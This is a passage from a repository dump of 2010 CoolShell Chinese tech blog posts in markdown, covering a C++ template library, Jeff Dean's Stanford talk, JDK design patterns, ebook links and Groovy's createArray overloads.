[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/428.html)[程序员需要具备的基本技能](https://coolshell.cn/articles/428.html)\nThe post [版本管理器的发展史](https://coolshell.cn/articles/3288.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-2 C++的字符串格式化库.md",
    "content": "---\nlayout: post\ntitle: C++的字符串格式化库\ndate: 2010/11/2/ 0:59:6\nupdated: 2010/11/2/ 0:59:6\nstatus: publish\npublished: true\ntype: post\n---\n\n这里向大家介绍一个C++的字符串格式化库，叫cpptempl，这个库支持对字符串格式的条件，循环，变量插入。看上去很不错，只不过其是基于boost库的。\n\n\n下面是一个例子：\n\n\n\n```\n// The text template\nwstring text = L\"I heart {$place}!\" ;\n// Data to feed the template engine\ncpptempl::data_map data ;\n// {$place} => Okinawa\ndata[L\"place\"] = cpptempl::make_data(L\"Okinawa\");\n// parse the template with the supplied data dictionary\nwstring result = cpptempl::parse(text, data) ;\n```\n\n输出结果是：\n\n\n\n> I heart Okinawa!\n> \n> \n\n\n是不是很方便？让我们看一个更复杂的例子：\n\n\n\n\n```\n// You'd probably load this template from a file in real life.\nwstring text = L\"<h3>Locations</h3>\\n<ul>\\n\"\n    L\"{% for place in places %}\"\n    L\"<li>{$place}</li>\\n\"\n    L\"{% endfor %}\"\n    L\"</ul>\" ;\n// Create the list of items\ncpptempl::data_list places;\nplaces.push_back(cpptempl::make_data(L\"Okinawa\"));\nplaces.push_back(cpptempl::make_data(L\"San Francisco\"));\n// Now set this in the data map\ncpptempl::data_map data ;\ndata[L\"places\"] = cpptempl::make_data(places);\n// parse the template with the supplied data dictionary\nwstring result = cpptempl::parse(text, data) ;\n```\n\n输出结果是：\n\n\n\n> <h3>Locations</h3>  \n> \n> <ul>  \n> \n> <li>Okinawa</li>  \n> \n> <li>San Francisco</li>  \n> \n> </ul>\n> \n> \n\n\n更为详细的说明请到这里：<http://bitbucket.org/ginstrom/cpptemplate/wiki/Home>。\n\n\nGoogle也有一个类似的库叫ctemplate：<http://code.google.com/p/google-ctemplate/> 提供相似的方法，你也可以试试看。与Google相对应的Java库叫Hapax：<http://code.google.com/p/hapax/>。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![C++的坑真的多吗？](../wp-content/uploads/2012/08/cpp_small-150x150.jpg)](https://coolshell.cn/articles/7992.html)[C++的坑真的多吗？](https://coolshell.cn/articles/7992.html)\n* [![那些曾伴我走过编程之路的软件](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png)](https://coolshell.cn/articles/5576.html)[那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\nThe post [C++的字符串格式化库](https://coolshell.cn/articles/3258.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-22 Jeff Dean的Stanford演讲.md",
    "content": "---\nlayout: post\ntitle: Jeff Dean的Stanford演讲\ndate: 2010/11/22/ 1:7:36\nupdated: 2010/11/22/ 1:7:36\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2010/11/jeff.jpg \"Jeff Dean\")Google 公司的 [**Jeff Dean**](http://research.google.com/people/jeff/) 在Stanford大学做了一个非常 [**精彩的演讲**](http://stanford-online.stanford.edu/courses/ee380/101110-ee380-300.asx)（视频未墙）。我觉得我们每一个人都应该去看一看这个视频，当然，没有字幕，需要不错的听力，当然，我不可能全部翻译出来，因为我也不是完全能听懂，下面是一些相关的Notes，供你参夸，并欢迎牛人指证。\n\n\n* 比较了从1999年到2010年十年来的搜索量的变化。搜索量增加了 1000 倍，而搜索速度快了5 倍。1999年，一个网页的更新最多需要一个月到两个月，而今天，只需要几秒钟，足足加快了5w倍。\n* 一开始，这些大量的查询产生了大约30GB的I/O量。2004年，他们考虑过全部重写infrastructure。\n* 讨论了一些关于变量长度字节对齐的东西。\n* 今天的MapReduce 有400万个作业，处理将近1000PB的数据，130PB的中间数据，还有45PB的输出数据。（1PB =1024TB）关于 MapReduce （Google云计算的精髓） 的一些统计，见下图：\n* ![](../wp-content/uploads/2010/11/mapreducestats.jpg \"Mapreduce Stats\")\n\n\n\n* 现在Jeff正在做一个叫Spanner的项目，这是一个跨多个数据中心的项目。在后来的Q&A中，Jeff解释了现在的数据基本上都在各个数据中心中，数据在不同数据中心间的交换几乎不可能。所以，他们需要提供一些手动的方式或是一些工作或任务来达到数据共享。这其中还需要有一些策略配置，共同的namespace，事务处理，数据一致性等等工作。\n\n\n* 最后一个段落应该是最精彩的，Jeff讲了很多很有意思的东西，绝对让你受用一生：\n\t+ 一个大型的系统需要分解成N多的小services.（这和Amazon的很相似，一个页面的调用可能要经过几百个后台的services）\n\t+ 代码的性能将会是想当的重要。Jeff给了一张叫“Numbers Everyone Should Know” 的slide，如下所示，我觉得太经典了，其中的东西，如果你看过我的那篇“[**给老婆普及计算机知识**](https://coolshell.cn/articles/3236.html)”，我想我不需要多解释了。（注：1 ns = 十亿分之一秒）\n\t+ ![](../wp-content/uploads/2010/11/numberseveryoneshouldknow.png \"每一个程序员都应该知道的数字\")\n\t+ 把相同的东西抽出来去建立一个系统，而不是把所有的事情交给所有的人。他说： “最后的那个功能可能会导致你怎么个系统超出了原有的复杂度”。\n\t+ 不要无限制地设计可扩展性。5倍到50倍的扩展性设计足够了。如果你要达到100倍的，那应该是re-arch了。\n\t+ Jeff很喜欢有中心主结点的架构体系，他并不喜欢分布式系统。当然，中心主结点主要是用来做控制的，而不是做数据或是计算服务的。\n\t+ J在一些小机器上运行多个小服务，而不在一个大机器上运行一个mongo作业。越小的单元就越容易处理，修复，负载均衡和扩展。（化繁为简）\n\t+ …… ……\n\n\n这是一个非常不错的演讲，很让人开阔眼界。\n\n\n最后，我想说说英文，很多程序员都很不喜欢英文，哎……怎么说呢？如果你今天对英文还很害怕的话，这只能怪我们的教育制度的失败。但如果你以此为借口的话，那只能怪你自己了。没有英文的能力，你的技术和认知仅限于中文圈中，而中文圈中基本上都是产商的文化。有人说，“功夫网”让我们的internet成为了局域网，而我想说，让我们成为局域网的不是那个墙，而是我们自己的世界观和英文能力。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![性能测试应该怎么做？](../wp-content/uploads/2016/07/PerfTest-150x150.png)](https://coolshell.cn/articles/17381.html)[性能测试应该怎么做？](https://coolshell.cn/articles/17381.html)\nThe post [Jeff Dean的Stanford演讲](https://coolshell.cn/articles/3301.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-25 几个在线颜色选择器.md",
    "content": "---\nlayout: post\ntitle: 几个在线颜色选择器\ndate: 2010/11/25/ 2:44:56\nupdated: 2010/11/25/ 2:44:56\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一些在线的颜色配色方案，也许可以为你的Web配色方面提供一些参考。还有[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)你也可以去看看。\n\n\n* <http://colorschemedesigner.com/>\n* <http://www.colourlovers.com/>\n* [http://kuler.adobe.com](http://kuler.adobe.com/)\n* [http://opencodeproject.com/colorchooser/](http://opencodeproject.com/colorchooser/#)\n* <http://www.yafla.com/yaflaColor/ColorRGBHSL.aspx>\n* <http://www.colorjack.com/sphere/>\n* [http://easyrgb.com](http://easyrgb.com/)\n\n\n![](../wp-content/uploads/2010/11/Color-Scheme.jpg \"Color Scheme\")\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![xkcd 神图“Click and Drag”](../wp-content/uploads/2012/10/xkcd-sandwich-150x150.png)](https://coolshell.cn/articles/8398.html)[xkcd 神图“Click and Drag”](https://coolshell.cn/articles/8398.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/1092.html)[Top 200的全球开发者BLOG](https://coolshell.cn/articles/1092.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/585.html)[5个不错的Flash的英文教程网](https://coolshell.cn/articles/585.html)\n* [![你确信你了解时间吗？](../wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png)](https://coolshell.cn/articles/5075.html)[你确信你了解时间吗？](https://coolshell.cn/articles/5075.html)\n* [![AWS 的 S3 故障回顾和思考](../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png)](https://coolshell.cn/articles/17737.html)[AWS 的 S3 故障回顾和思考](https://coolshell.cn/articles/17737.html)\nThe post [几个在线颜色选择器](https://coolshell.cn/articles/3314.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-25 几篇技术文章.md",
    "content": "---\nlayout: post\ntitle: 几篇技术文章\ndate: 2010/11/25/ 1:4:54\nupdated: 2010/11/25/ 1:4:54\nstatus: publish\npublished: true\ntype: post\n---\n\n**The Art of Unix**\n\n\n<http://www.faqs.org/docs/artu/>\n\n\n**Perl for Impatient Developer**\n\n\n<http://blob.perl.org/books/impatient-perl/iperl.pdf>\n\n\n**Game Development with Javascript**\n\n\n<http://www.brighthub.com/hubfolio/matthew-casperson/blog/archive/2009/06/29/game-development-with-javascript-and-the-canvas-element.aspx>\n\n\n**Introduction to x64 Assembly**\n\n\n<http://software.intel.com/en-us/articles/introduction-to-x64-assembly/>\n\n\n**Database Fundamental**\n\n\n<https://www.ibm.com/developerworks/wikis/display/db2oncampus/FREE+ebook+-+Database+fundamentals>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2053.html)[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)\n* [![Javascript程序员嘴最脏??](../wp-content/uploads/2009/11/programming_language-150x150.jpg)](https://coolshell.cn/articles/1850.html)[Javascript程序员嘴最脏??](https://coolshell.cn/articles/1850.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1532.html)[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)\n* [![Linux/Unix 新手和专家教程](../wp-content/uploads/2009/06/linux_tutorials-150x150.jpg)](https://coolshell.cn/articles/1042.html)[Linux/Unix 新手和专家教程](https://coolshell.cn/articles/1042.html)\nThe post [几篇技术文章](https://coolshell.cn/articles/3311.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-26 JDK里的设计模式.md",
    "content": "---\nlayout: post\ntitle: JDK里的设计模式\ndate: 2010/11/26/ 0:44:37\nupdated: 2010/11/26/ 0:44:37\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是JDK中有关23个经典设计模式的示例，在stakeoverflow也有相应的讨论：  \n\n<http://stackoverflow.com/questions/1673841/examples-of-gof-design-patterns>\n\n\n#### **Structural（结构模式）**\n\n\n**Adapter:**  \n\n把一个接口或是类变成另外一种。\n* java.util.Arrays#asList()\n* javax.swing.JTable(TableModel)\n* java.io.InputStreamReader(InputStream)\n* java.io.OutputStreamWriter(OutputStream)\n* javax.xml.bind.annotation.adapters.XmlAdapter#marshal()\n* javax.xml.bind.annotation.adapters.XmlAdapter#unmarshal()\n\n\n**Bridge:**  \n\n把抽象和实现解藕，于是接口和实现可在完全独立开来。\n\n\n* AWT (提供了抽象层映射于实际的操作系统)\n* JDBC\n\n\n**Composite:**  \n\n让使用者把单独的对象和组合对象混用。\n\n\n* javax.swing.JComponent#add(Component)\n* java.awt.Container#add(Component)\n* java.util.Map#putAll(Map)\n* java.util.List#addAll(Collection)\n* java.util.Set#addAll(Collection)\n\n\n\n\n\n**Decorator:**  \n\n为一个对象动态的加上一系列的动作，而不需要因为这些动作的不同而产生大量的继承类。这个模式在JDK中几乎无处不在，所以，下面的列表只是一些典型的。\n\n\n* java.io.BufferedInputStream(InputStream)\n* java.io.DataInputStream(InputStream)\n* java.io.BufferedOutputStream(OutputStream)\n* java.util.zip.ZipOutputStream(OutputStream)\n* java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()\n\n\n**Facade:**  \n\n用一个简单的接口包状一组组件，接口，抽象或是子系统。\n\n\n* java.lang.Class\n* javax.faces.webapp.FacesServlet\n\n\n**Flyweight:**  \n\n有效率地存储大量的小的对象。\n\n\n* java.lang.Integer#valueOf(int)\n* java.lang.Boolean#valueOf(boolean)\n* java.lang.Byte#valueOf(byte)\n* java.lang.Character#valueOf(char)\n\n\n**Proxy:**  \n\n用一个简单的对象来代替一个复杂的对象。\n\n\n* java.lang.reflect.Proxy\n* RMI\n\n\n\n\n#### **Creational（创建模式）**\n\n\n\n**Abstract factory:**  \n\n创建一组有关联的对象实例。这个模式在JDK中也是相当的常见，还有很多的framework例如Spring。我们很容易找到这样的实例。\n* java.util.Calendar#getInstance()\n* java.util.Arrays#asList()\n* java.util.ResourceBundle#getBundle()\n* java.sql.DriverManager#getConnection()\n* java.sql.Connection#createStatement()\n* java.sql.Statement#executeQuery()\n* java.text.NumberFormat#getInstance()\n* javax.xml.transform.TransformerFactory#newInstance()\n\n\n**Builder:**  \n\n主要用来简化一个复杂的对象的创建。这个模式也可以用来实现一个 [Fluent Interface](http://en.wikipedia.org/wiki/Fluent_interface)。\n\n\n* java.lang.StringBuilder#append()\n* java.lang.StringBuffer#append()\n* java.sql.PreparedStatement\n* javax.swing.GroupLayout.Group#addComponent()\n\n\n**Factory:**  \n\n简单来说，按照需求返回一个类型的实例。\n\n\n* java.lang.Proxy#newProxyInstance()\n* java.lang.Object#toString()\n* java.lang.Class#newInstance()\n* java.lang.reflect.Array#newInstance()\n* java.lang.reflect.Constructor#newInstance()\n* java.lang.Boolean#valueOf(String)\n* java.lang.Class#forName()\n\n\n**Prototype:**  \n\n使用自己的实例创建另一个实例。有时候，创建一个实例然后再把已有实例的值拷贝过去，是一个很复杂的动作。所以，使用这个模式可以避免这样的复杂性。\n\n\n* java.lang.Object#clone()\n* java.lang.Cloneable\n\n\n**Singleton:**  \n\n只允许一个实例。在 Effective Java中建议使用Emun.\n\n\n* java.lang.Runtime#getRuntime()\n* java.awt.Toolkit#getDefaultToolkit()\n* java.awt.GraphicsEnvironment#getLocalGraphicsEnvironment()\n* java.awt.Desktop#getDesktop()\n\n\n#### **Behavioral(行为模式)**\n\n\n**Chain of responsibility:**  \n\n把一个对象在一个链接传递直到被处理。在这个链上的所有的对象有相同的接口（抽象类）但却有不同的实现。\n\n\n* java.util.logging.Logger#log()\n* javax.servlet.Filter#doFilter()\n\n\n**Command:**  \n\n把一个或一些命令封装到一个对象中。\n\n\n* java.lang.Runnable\n* javax.swing.Action\n\n\n**Interpreter:**  \n\n一个语法解释器的模式。\n\n\n* java.util.Pattern\n* java.text.Normalizer\n* java.text.Format\n\n\n**Iterator:**  \n\n提供一种一致的方法来顺序遍历一个容器中的所有元素。\n\n\n* java.util.Iterator\n* java.util.Enumeration\n\n\n**Mediator:**  \n\n用来减少对象单的直接通讯的依赖关系。使用一个中间类来管理消息的方向。\n\n\n* java.util.Timer\n* java.util.concurrent.Executor#execute()\n* java.util.concurrent.ExecutorService#submit()\n* java.lang.reflect.Method#invoke()\n\n\n**Memento:**  \n\n给一个对象的状态做一个快照。Date类在内部使用了一个long型来做这个快照。\n\n\n* java.util.Date\n* java.io.Serializable\n\n\n**Null Object:**  \n\n这个模式用来解决如果一个Collection中没有元素的情况。\n\n\n* java.util.Collections#emptyList()\n* java.util.Collections#emptyMap()\n* java.util.Collections#emptySet()\n\n\n**Observer:**  \n\n允许一个对象向所有的侦听的对象广播自己的消息或事件。\n\n\n* java.util.EventListener\n* javax.servlet.http.HttpSessionBindingListener\n* javax.servlet.http.HttpSessionAttributeListener\n* javax.faces.event.PhaseListener\n\n\n**State:**  \n\n这个模式允许你可以在运行时很容易地根据自身内部的状态改变对象的行为。\n\n\n* java.util.Iterator\n* javax.faces.lifecycle.LifeCycle#execute()\n\n\n**Strategy:**  \n\n定义一组算法，并把其封装到一个对象中。然后在运行时，可以灵活的使用其中的一个算法。\n\n\n* java.util.Comparator#compare()\n* javax.servlet.http.HttpServlet\n* javax.servlet.Filter#doFilter()\n\n\n**Template method:**  \n\n允许子类重载部分父类而不需要完全重写。\n\n\n* java.util.Collections#sort()\n* java.io.InputStream#skip()\n* java.io.InputStream#read()\n* java.util.AbstractList#indexOf()\n\n\n**Visitor:**\n\n\n作用于某个对象群中各个对象的操作. 它可以使你在不改变这些对象本身的情况下,定义作用于这些对象的新操作.\n\n\n* javax.lang.model.element.Element 和javax.lang.model.element.ElementVisitor\n* javax.lang.model.type.TypeMirror 和javax.lang.model.type.TypeVisitor\n\n\n（全文完）\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\nThe post [JDK里的设计模式](https://coolshell.cn/articles/3320.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-5 游戏Flash vs HTML5.md",
    "content": "---\nlayout: post\ntitle: 游戏Flash vs HTML5\ndate: 2010/11/5/ 3:16:25\nupdated: 2010/11/5/ 3:16:25\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个网页上做一个乒乓游戏，左边是Flash，右边是HTML5，很有趣。这也算是一个Flash和HTML5通讯的例子吧。\n\n\n<http://labs.codecomputerlove.com/FlashVsHtml5/>\n\n\n\n[![](../wp-content/uploads/2010/11/flash_vs_html5.jpg \"flash vs html5\")](http://labs.codecomputerlove.com/FlashVsHtml5/)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3516.html)[JS游戏引擎列表](https://coolshell.cn/articles/3516.html)\n* [![流体力学的演示](../wp-content/uploads/2010/12/Liquid-150x150.jpg)](https://coolshell.cn/articles/3421.html)[流体力学的演示](https://coolshell.cn/articles/3421.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\nThe post [游戏Flash vs HTML5](https://coolshell.cn/articles/3267.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-8 两本电子书.md",
    "content": "---\nlayout: post\ntitle: 两本电子书\ndate: 2010/11/8/ 3:47:9\nupdated: 2010/11/8/ 3:47:9\nstatus: publish\npublished: true\ntype: post\n---\n\n[**Learn Python The Hard Way (pdf)**](http://learnpythonthehardway.org/static/LearnPythonTheHardWay.pdf)\n\n\n\n[![](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way.jpg \"Learn Python The Hard Way\")](http://learnpythonthehardway.org/static/LearnPythonTheHardWay.pdf)Learn Python The Hard Way\n[**Programming Windows Phone 7 (Charles Petzold)**](http://download.microsoft.com/download/5/0/A/50A39509-D015-410F-A8F2-A5511E5A988D/Microsoft_Press_ebook_Programming_Windows_Phone_7_PDF.pdf)\n\n\n[![](../wp-content/uploads/2010/11/Free-Ebook-Programming-Windows-Phone-7-by-Charles-Petzold.jpg \"Programming Windows Phone 7 by Charles Petzold\")](http://download.microsoft.com/download/5/0/A/50A39509-D015-410F-A8F2-A5511E5A988D/Microsoft_Press_ebook_Programming_Windows_Phone_7_PDF.pdf)Programming Windows Phone 7 by Charles Petzold\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4710.html)[Python 和 PyGame 的一些示例](https://coolshell.cn/articles/4710.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [![一些非常不错的资料](../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg)](https://coolshell.cn/articles/3192.html)[一些非常不错的资料](https://coolshell.cn/articles/3192.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg](https://coolshell.cn/articles/2775.html)[免费电子书列表](https://coolshell.cn/articles/2775.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/1157.html)[Python 自然语言处理](https://coolshell.cn/articles/1157.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [两本电子书](https://coolshell.cn/articles/3270.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-8 超强的验证码.md",
    "content": "---\nlayout: post\ntitle: 超强的验证码\ndate: 2010/11/8/ 10:36:50\nupdated: 2010/11/8/ 10:36:50\nstatus: publish\npublished: true\ntype: post\n---\n\n大家看看这个网站吧。最强的验证码——把看到的东西画出来。\n\n\n<http://www.geee.net/contact.htm>\n\n\n[![](../wp-content/uploads/2010/11/capcha.jpg \"无敌的验证码\")](http://www.geee.net/contact.htm)\n\n\n某些网友们还是做了一些尝试：\n\n\n\nhttp://i.imgur.com/hgLYS.jpg\n\n\nhttp://i.imgur.com/Bo3OC.jpg\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![各式各样的验证码](../wp-content/uploads/2012/07/0-150x150.jpg)](https://coolshell.cn/articles/7917.html)[各式各样的验证码](https://coolshell.cn/articles/7917.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1212.html)[编程引言补充](https://coolshell.cn/articles/1212.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/822.html)[Linux磁盘使用命令du的改进](https://coolshell.cn/articles/822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/1152.html)[关于 Chrome OS 的一些推论](https://coolshell.cn/articles/1152.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/1441.html)[WebTTY！太酷了！](https://coolshell.cn/articles/1441.html)\n* [![8个实用而有趣Bash命令提示行](../wp-content/uploads/2009/09/bashprompts-hurring-150x150.jpg)](https://coolshell.cn/articles/1399.html)[8个实用而有趣Bash命令提示行](https://coolshell.cn/articles/1399.html)\nThe post [超强的验证码](https://coolshell.cn/articles/3277.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-1 Groovy是怎么实现createArray的.md",
    "content": "---\nlayout: post\ntitle: Groovy是怎么实现createArray的\ndate: 2010/12/1/ 6:8:53\nupdated: 2010/12/1/ 6:8:53\nstatus: publish\npublished: true\ntype: post\n---\n\n[Groovy](http://groovy.codehaus.org/)是一个基于 Java虚拟机的敏捷 动态语言。构建在强大的Java语言之上 并 添加了从Python，Ruby和Smalltalk等语言中学到的 诸多特征。为Java开发者提供了 现代最流行的编程语言特性，而且学习成本很低（几乎为零）。在以前的酷壳的[五大基于JVM的脚本语言](https://coolshell.cn/articles/2631.html)中也介绍过它。\n\n\n下面，让我们看看他的一个createArray的实现，请大家前去围观下面的Groovy的trunk上的源码吧。真是很好很强大。\n\n\n<http://svn.codehaus.org/groovy/trunk/groovy/groovy-core/src/main/org/codehaus/groovy/runtime/ArrayUtil.java>\n\n\n这里摘上前几个createArray重载函数让大家看看，（一共有250个重载函数）\n\n\n\n```\npublic class ArrayUtil {\n    ... ...\n    ... ...\n public static Object[] createArray(Object arg0, Object arg1) {\n return new Object[]{\n arg0, arg1};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2) {\n return new Object[]{\n arg0, arg1, arg2};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2, Object arg3) {\n return new Object[]{\n arg0, arg1, arg2, arg3};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2, Object arg3, Object arg4) {\n return new Object[]{\n arg0, arg1, arg2, arg3, arg4};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {\n return new Object[]{\n 